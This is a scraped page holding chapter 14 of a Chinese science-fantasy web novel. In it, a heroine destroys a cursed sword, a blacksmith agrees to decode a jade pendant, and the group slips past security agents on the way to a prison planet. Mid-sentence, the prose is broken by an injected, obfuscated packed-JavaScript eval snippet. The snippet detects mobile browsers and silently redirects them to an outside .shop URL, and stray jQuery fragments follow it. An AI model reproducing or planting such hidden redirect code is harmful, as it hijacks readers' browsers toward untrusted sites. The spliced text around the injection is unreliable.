文趣网 > 都市小说 > 从考古到星际救世 > 14. 第 14 章
    黑色的剑身在暗红色的火光中反射着冰冷的光,剑身上的血色纹路像是还在搏动,像是一条活着的蛇。

    这把剑在姜瓷最爱的人的死亡现场出现过,虽然她没有亲眼看到,但从那一刻起,它的影子就刻在了她的噩梦里。

    她伸出手,握住了剑柄。

    接触到剑柄的瞬间,一股冰冷的能量从剑身传入了她的手臂,那不是锻造之火的热度,而是一种更加原始的东西——断绝、割裂、一刀两断的决绝。

    这是“绝地”的能力,也是贺兰辰给它取这个名字的原因。

    姜瓷的手指收紧,指甲陷进了剑柄的纹路中。

    她抬起另一只手,青色的光芒从掌心涌出,那是山海经的力量。

    狌狌从她肩膀上跳下来,落在那片岩蝎群中,发出了一声尖锐的叫声。

    “绝地”在青色光芒的照耀下开始颤抖,剑身上的血色纹路像是被什么东西烫到了一样疯狂地跳动,黑色剑身表面出现了细密的裂纹。

    裂纹在青色光芒中迅速蔓延,从剑尖到剑格,从剑格到剑柄,最终整把剑都在光芒中碎裂,化为无数黑色的碎片落在地上,又化为灰烬,被空洞中的热风吹散得无影无踪。

    姜瓷松开手,最后一点剑柄的残渣从她指缝间滑落。

    她抬起头,看着贺兰辰,眼泪还挂在脸上,但眼睛里开始出现了光。

    “我毁掉了‘绝地’。”她说。

    “但我不会毁掉你。顾深最讨厌的一件事就是迁怒于人,如果我迁怒于你,他在天上会笑话我的。”

    她伸出手,越过那些岩蝎群,递向贺兰辰。

    贺兰辰看着她的手,看了很久。

    他的嘴唇在颤抖,眼中有泪光,但嘴角有一个极细微的弧度在慢慢成形。

    他伸出手,握住了姜瓷的手。

    他的手掌干燥而粗糙,满是老茧和烫伤的疤痕,但握得很用力,像是溺水的人抓住了最后一根浮木。

    “谢谢。”贺兰辰的声音沙哑得几乎听不清。

    姜瓷没有回答,只是握紧了他的手。

    岩蝎群在这一刻忽然骚动起来,它们不再整齐地排列在空洞地面上了,而是开始向四周散开,黑色的波浪从贺兰辰身边退去,露出了一片干净的地面。

    有些岩蝎爬到空洞的墙壁上,有些钻进岩石的缝隙中,还有几只最大的岩蝎爬到贺兰辰的肩膀上,用钳子轻轻碰了碰他的脸颊,像是在安慰他。

    赵晓看着这一幕,心中涌起一股暖流。

    这是她找到的第二个共鸣者。

    不是一个普遍意义上完美的、毫无瑕疵的战士,而是一个带着伤痛的、曾经跌倒过的人。

    但正是这些伤痛,让他比那些从未经历过黑暗的人更加坚韧,因为他知道黑暗有多深,也更知道光明有多珍贵。

    “贺兰辰,我需要你帮我做一件事。”

    贺兰辰转过头看着她,“什么事?”

    赵晓从衣领中取出龙凤玉佩,放在他的锻造台上。

    “我想让你帮我解析这对玉佩的真正力量。孔院长说这是华夏神话召唤的终极媒介,但我只知道它最基本的用法——召唤龙凤。它应该还有更多的功能,更多的力量,只是我不知道怎么激活。”

    贺兰辰的目光落在玉佩上,瞳孔深处的那点暗红色火光猛地跳了一下。

    “这不是普通的玉佩。”他拿起玉佩,在掌心翻转,仔细观察每一处纹路。

    “它的材质不属于已知的任何矿物谱系。你看这上面的云雷纹,它不是装饰,是符文,而且是多层嵌套的符文。最表面的一层是召唤龙凤的激活符文,下面至少还有三层,我现在只能模糊地感知到,无法解读。

    “连你都无法解读?”赵晓有些意外。

    “我需要时间。”贺兰辰把玉佩小心地放回锻造台上。

    “而且需要更好的锻造环境。这个地下空洞只是我的临时避难所,真正的锻造工坊在更深的地方,里面有完整的分析设备。给我一周时间,我能解析出第一层符文下面的内容。”

    一周时间。

    赵晓想了想,点头,“我给你一周时间。但一周之后,不管结果如何,你都要跟我走。”

    贺兰辰看了她一眼,又看了看姜瓷,最后看了看那份名单上自己的名字。

    他深吸一口气,像是做了一个重大的决定。

    “好。”

    仅仅两个字,但赵晓听出了其中的分量。

    贺兰辰不只是答应帮她解析玉佩,更是答应了成为她的共鸣者,答应走出这个躲藏了三年的地下空洞,重新面对那个曾经伤害过他、也曾经被他伤害过的世界。

    等三人从地下空洞返回地表的时候,铁砧星的天空已经从暗红色变成了深紫色,恒星落到了地平线以下,只剩下最后一丝余晖在天边挣扎。

    那些熔炉的浓烟在暮色中变成了深灰色的巨柱,像是支撑着天空的支柱。

    周泽走在最后面,手里拿着信息终端,一直在记录着什么。

    赵晓注意到他走路的姿势有点奇怪,一瘸一拐的。

    “你腿怎么了?”她问。

    周泽苦着脸,“刚才下梯子的时候蹭到了,生锈的铁皮刮了一下,不深,但疼得要命。”

    姜瓷从口袋里掏出一个小小的医疗包,扔给周泽,“消毒。铁砧星上的铁锈里有细菌,感染了你这腿得截肢。”

    周泽的脸更苦了,老老实实地找了个石头坐下,开始处理伤口。

    赵晓在附近找了一块相对平整的地面坐下,仰头看着铁砧星的天空。

    这颗星球的天空没有星星,只有厚重的云层和永恒的烟雾,但在云层的缝隙中,偶尔能看到一两颗特别亮的星在闪烁。

    她想起了轩辕星的星空,想起了华夏学宫的金叶树,想起了孔泽言泡的茶,想起了老猫打呼噜的声音。

    她出来才不到两周,但感觉已经过了很久。

    不是因为时间过得慢,而是因为经历的太多了。

    每到一个新的地方,她都会遇到一个新的人,听到一个新的故事,背负起一份新的责任。

    姜瓷在墟空间站的酒吧里喝了三年的忘川水,贺兰辰在铁砧星的地下空洞里躲藏了三年,锻造了无数的兵器,却不敢再使用自己的力量。

    他们都以为自己在惩罚自己,但实际上,他们只是在用错误的方式对待自己的伤痛。

    真正的惩罚不是逃避,而是面对;真正的救赎不是忘记,而是继续前行。

    赵晓从怀里掏出那份名单,借着信息终端的灯光,在贺兰辰的名字后面画了一个钩。

    两个了。还差十个。

    信息终端忽然震动了一下,弹出一条加密信息。

    发件人没有显示名字,只有一个陌生的通讯代码。

    赵晓点开信息,内容只有一行字——

    “纪安然的人已经到了铁砧星。他们知道你在找共鸣者。保护好贺兰辰,也保护好你自己。——楚墨。”

    赵晓的心猛地一沉。

    她迅速将信息终端切换到扫描模式,扫描周围五百米范围内的所有电子信号。

    屏幕上立刻显示出了十几个陌生的信号源,分布在星港的方向,正在以匀速向她们当前的位置移动。

    信号源之间的距离很均匀,像是一支有组织的队伍。

    安全部的人。

    纪安然的人。

    赵晓站起来,“周泽,姜瓷,收拾东西,我们得走了。”

    周泽刚包扎好伤口,一脸茫然,“怎么了?”

    “安全部的人追到铁砧星来了。距离我们还有大概二十分钟的路程。”

    姜瓷的脸色一变,“他们怎么知道我们在这里?”

    “不知道,但有办法知道。”赵晓迅速收拾好随身物品。

    “楚墨的信息说他们是冲着共鸣者来的,不只是冲着我们。贺兰辰在地下空洞里,暂时安全,但如果我们被抓住,他们会用我们当诱饵把他引出来。”

    三人快步向星港方向走去,但不是走大路,而是走岔路。

    赵晓在来的时候就把铁砧星的街道布局记得差不多了,她知道有一条偏僻的小路可以绕开安全部的搜索队,直接从另一个方向进入星港。

    铁砧星的夜色浓得像墨,没有路灯,只有远处熔炉的火光在地平线上挣扎。

    她们三人在黑暗中穿行,脚下的路坑坑洼洼,周泽的伤腿让他走得有些吃力,但他咬着牙一声不吭。

    快到星港的时候,赵晓忽然停住了脚步。

    前方一百米处,三辆黑色的悬浮车挡住了通往星港的必经之路。

    车旁边站着六个穿着深灰色制服的人,人手一个能量检测仪,正在扫描每一个进入星港的旅客。

    “纪安然。”赵晓咬了咬牙。

    这个女人比她想象的要难对付得多。

    她不是一个被动的官僚,而是一个主动的猎手,会在猎物最意想不到的地方布下陷阱。

    “怎么办?”周泽压低声音问。

    赵晓想了想,从口袋里掏出那个狌狌的小雕像——姜瓷送给她的那个。

    她把雕像握在手心,闭上眼睛,用意识触碰雕像中残留的山海经能量。

    “姜瓷,你能让狌狌制造一个干扰场吗?”她低声问。

    “不需要太大范围,只要能让我们三个从他们中间穿过去不被发现就行。”

    姜瓷愣了一下,“你怎么知道狌狌有这种能力?”

    “猜的。狌狌的能力是‘知’,知道过去和未来。如果它能知道未来,那它也应该能知道如何改变未来。换句话说,它应该能制造一个‘信息偏差’,让观测者看到错误的未来,从而影响他们现在的判断。”

    姜瓷沉默了几秒,然后从口袋里取出一枚青色的狌狌符文——不是送给赵晓的那个小雕像,而是她的本命召唤符文。

    她将符文贴在额头上,闭上眼睛,嘴唇微微翕动,像是在念某种古老的咒语。

    狌狌的虚影在她肩膀上浮现,翡翠色的眼睛放出淡淡的绿光。

    绿光慢慢扩散开来,在三人的周围形成了一个直径约三米的光罩。

    光罩很淡,几乎看不见,但它确实存在。

    “走。”姜瓷说。

    三人走进光罩,向星港的方向走去。

    当他们经过那六个人身边时,赵晓能看到他们的目光从她们身上扫过,但没有停留,像是看到了什么无关紧要的东西。

    其中一个人甚至转过头,对着通讯器说了一句“C区没有异常”。

    这就是狌狌的力量。

    不是让人消失,而是让人“看不到不该看的东西”。

    它在那些人的意识中植入了一个信息——“这里没有人,一切正常”。

    这不是幻觉,而是对认知的微调,比幻觉更加隐蔽,也更加有效。

    三人安全地进入了星港,登上了穿梭舰。

    当舰舱门关闭的那一刻,赵晓终于长出了一口气。

    “起飞。”她对舰长说。

    穿梭舰缓缓升空,铁砧星暗红色的地表在舷窗中越来越小,最终变成了一颗小小的暗红色圆球,消失在宇宙的黑暗中。

    赵晓靠在座椅上,闭上眼睛。她的脑海里浮现出纪安然的面孔——那张永远带着职业化微笑的脸。

    她不知道纪安然到底想要什么,是真的想保护联邦的安全,还是想利用她和她的力量达到某种不为人知的目的。

    但有一点她很清楚——纪安然不是一个可以轻易甩掉的对手。

    她会一直追着赵晓,直到她得到她想要的东西。

    赵晓睁开眼睛,从怀里掏出那份名单,看着第三个人的名字。

    “云鲲,男,二十九岁,第二星域海洋星球‘深澜’。华夏血统纯度百分之七十一,主修神话体系:四海龙王系。能力评级:S。当前状态:被囚禁。

    被囚禁。

    赵晓的眉头皱了起来。

    这是名单上第一个不是“隐藏”或“失能”状态的人,而是被明确标注为“被囚禁”。

    云鲲被关在哪里?被谁关的?

    孔泽言的资料里没有写,只有一行简短的备注——“深澜星,龙渊狱,联邦最高安全级别监狱。”

    龙渊狱。

    听名

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618661|206140||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    字就知道不是普通的地方。

    “下一个目标是深澜星。”

    赵晓把名单递给姜瓷,“龙渊狱。你知道这个地方吗?”

    姜瓷接过名单,看到“龙渊狱”三个字的时候,表情明显变了。

    “那里关的都是最强的神话召唤者。”她的声音压得很低。

    “不是因为他们犯了罪,而是因为联邦害怕他们。害怕他们的力量失控,害怕他们被别人利用,害怕他们变成第二个‘天谴’。所以联邦把他们关起来,美其名曰‘保护性监禁’,实际上就是政治囚禁。

    “云鲲为什么被关进去?”

    “因为他拒绝为联邦军方服务。”姜瓷说。

    “四海龙王系是华夏神话中最强大的水系力量,云鲲的能力是召唤东海龙王敖广,那是四海龙王之首,掌管天下水域。联邦军方想要他加入‘深海计划’,一个专门研究如何在水中环境对抗诡异副本的项目。云鲲拒绝了,他说他的力量是用来保护人的,不是用来当武器的。第二天,安全部的人就把他抓走了,罪名是‘拒绝履行联邦公民的国防义务’。”

    荒谬,赵晓在心里骂了一句。

    一个召唤东海龙王的神话召唤者,因为拒绝当武器,被关进了最高安全级别的监狱。

    这是什么道理?这是联邦,还是暴政?

    “我们能劫狱吗?”周泽小心翼翼地问。

    姜瓷摇头,“龙渊狱建在深澜星的海底三千米处,四周是高压深海环境,唯一的出入口是一个需要三重生物认证的升降舱。监狱内部有联邦最精锐的守卫部队驻扎,还有专门针对神话召唤者的能量抑制系统。任何召唤者进入监狱范围,能量都会被压制到正常水平的百分之十以下。”

    “那如果从外面把监狱炸开呢?”周泽又问。

    “监狱外面的海水压力能把一艘战舰压成废铁。炸开监狱,等于把里面所有人淹死。”

    周泽不说话了。

    赵晓沉默了很久。

    她想起了姜瓷的狌狌,狌狌的能力是“知”,能知道过去和未来。

    如果她能预测出龙渊狱的防御漏洞,也许能找到一条不劫狱也能救出云鲲的路。

    “姜瓷,你的狌狌能预测未来吗?”

    “能,但不是你想的那种预测。”

    姜瓷想了想说道,“狌狌能看到未来的一种可能性,不是唯一的未来。未来是一棵树,每一个选择都是一根分叉。狌狌能看到其中一根分叉,但不代表那根分叉一定会发生。它只是提供了一个参考。

    “那就够了。到了深澜星,让狌狌帮我看看,有没有一条路能把云鲲救出来,不需要劫狱,不需要暴力对抗,而是用一种所有人都能接受的方式。

    姜瓷看着这晓的眼睛,忽然笑了。

    “你这个人,总是想找不流血的解决方案。”她的语气里带着一丝敬佩。

    “在墟空间站的时候也是这样,你没有跟纪安然硬碰硬,你选择了装傻。在铁砧星也是这样,你没有跟安全部的搜索队正面冲突,你选择了绕路。你好像有一种本事,能在大多数人只看到一堵墙的地方看到一扇门。”

    赵晓笑了笑,没有解释。

    她只是在考古工作中学会了这个道理——文物在地下埋了几千年,你不能用铲子把它挖出来,你会破坏它。

    你要用刷子,用小铲子,用最温柔的方式一点一点地把土拨开,让它自己露出来。

    解决问题的道理是一样的,很多时候不是靠蛮力,而是靠耐心和智慧。

    穿梭舰驶入跃迁通道,星光在舷窗外被拉成了无数的光丝。

    赵晓看着那些光丝,想起了《华夏文明长卷》上那些流动的光纹——也许宇宙就是一个巨大的文明长卷,每一个星星都是一个故事,每一个故事都是一个人。

    她低头看着玉佩,玉佩在跃迁的光芒中泛着温润的光。

    贺兰辰说过玉佩至少有两层未激活的符文,如果能解开它们,她可能会获得新的力量。

    在新的力量中,她最需要的是潜行和伪装——能让她在龙渊狱那种地方自由行动的能力。

    不是硬闯,而是走进来,办完事,再走出去,像狌狌干扰那些安全人员的认知一样,让所有人都觉得她只是一个无关紧要的访客。

    龙凤玉佩在跃迁的光芒中闪烁了一下,像是在回应她的期待。

    一周后……

    贺兰辰说需要一周时间解析符文。

    在这一周里,她也许可以先到深澜星,在龙渊狱附近踩点,收集情报,为营救云鲲做准备。

    等贺兰辰解析完符文,带着新的力量汇合,也许能找到一条所有人都想不到的路。

    赵晓闭上眼睛,意识渐渐沉入那个少年的房间。

    房间的门开着一条缝,金色的光从门缝中漏出来,温暖而安静。

    少年不在房间里,但书桌上放着一张新的字条,上面用稚嫩的笔迹写着一行字——

    “我哥说过,最坚固的墙不是石头砌的,是人心里的恐惧砌的。恐惧没了,墙就塌了。”

    赵晓将字条贴在胸口,嘴角微微上扬。

    龙渊狱的墙,是石头砌的,也是恐惧砌的。

    她能拆掉石头的那部分,就一定能拆掉恐惧的那部分。

    穿梭舰在跃迁通道中无声前行,带着她和她小小的队伍,驶向第三个人,驶向第三段故事,驶向那堵她即将拆掉的墙。

    深澜星在联邦的旅游指南中被描述为“宇宙最后一颗蓝色眼泪”。

    整颗星球百分之九十五的表面被海洋覆盖,从太空俯瞰,它像一颗巨大的蓝宝石悬浮在黑暗中,云层在海洋上方缓缓流动,掀起白色的漩涡。

    海洋的颜色不是普通的海蓝,而是一种更深邃的、近乎墨色的深蓝,像是有什么东西在海底沉睡,它的呼吸让整片海洋都在微微起伏。

    赵晓站在穿梭舰的舷窗前,看着这颗星球,心中涌起一种奇怪的感觉——不是恐惧,不是兴奋,而是一种似曾相识的熟悉。

    她想起了地球上的海洋,想起了南海,想起了那艘八百年前的沉船,想起了海水包裹身体时的窒息感和安全感。